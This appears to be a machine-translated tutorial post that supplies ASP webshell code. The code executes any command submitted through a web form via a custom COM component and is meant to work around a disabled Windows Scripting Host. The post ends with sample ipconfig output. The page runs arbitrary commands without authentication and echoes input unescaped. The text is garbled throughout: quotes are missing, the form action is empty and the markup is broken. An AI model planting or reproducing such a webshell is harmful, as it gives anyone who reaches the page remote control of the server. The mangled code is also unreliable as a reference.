Sometimes when we manage the server, we will disable Windows Scripting Host for security. This can prevent some illegal users from using WSH to generate a webshell to cause great security risks to the server. But what if we want to disable WSH and use our own webshell to manage the management of the server? Here is a component programming that implements CMD in ASP and displayed results. Hope to help everyone.
||| T; Text/CSS>
<!--
.singleborder {
border: 1px solid;
background-color: #000000;
FONT-FAMILY: Arial, Helvetica, Sans-Serif;
color: #ffffff;
}
.noborder {
border: 1px none;
background-color: #000000;
FONT-FAMILY: Arial, Helvetica, Sans-Serif;
color: #ffffff;
}
Body {Background-COLOR: #000000; scrollbar-face-color: #333333; font-siZe: 12px; scrollBar-Highlight-COLOR: #000000; Or: #000000; Scrollbar-3Dlight-Color: #000000 scrollbar-errow-color: #000000; scrollbar-track-color: #000000; scrollbar-darkshadow-color: #000000
FONT-FAMILY: FIXEDSYS; FONT-SIZE: 9pt}
->
</style>
<FORM ACTION = METHOD = Post>
<input name = cmd class = singleborder value = <%= request.form (cmd)%> size = 102>
<input type = submit class = singleborder value = execute>
</form>
<%
if request.form (cmd) <> then
set testme = server.createObject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea Cols = 120 ROWS = 30 Class = Noborder>
<%= testme.exec1 (request.form (cmd))%> </textarea>
<% Set Testme = Nothing
end if
%>
The following is the result of running ipconfig /all:
Windows 2000 ip configuration
host name.........: IBM-WRK-02
Primary dns Suffix.......:
node type..........: Broadcast
ip routing enabled.......: NO
wins proxy enabled.......: NO
Ethernet adapter Local connection:
Connection-SPECIFIC DNS SUFFIX.::
description...........: Intel (R) Pro/100 VM Network Connection
Physical address........: 008-02-BD-D7-EB
dhcp enabled.........: NO
ip address........ ..: 192.168.0.4
subnet mask.........: 255.255.255.0
default gateway..........: 192.168.0.1
dNS Servers.........: 202.106.196.115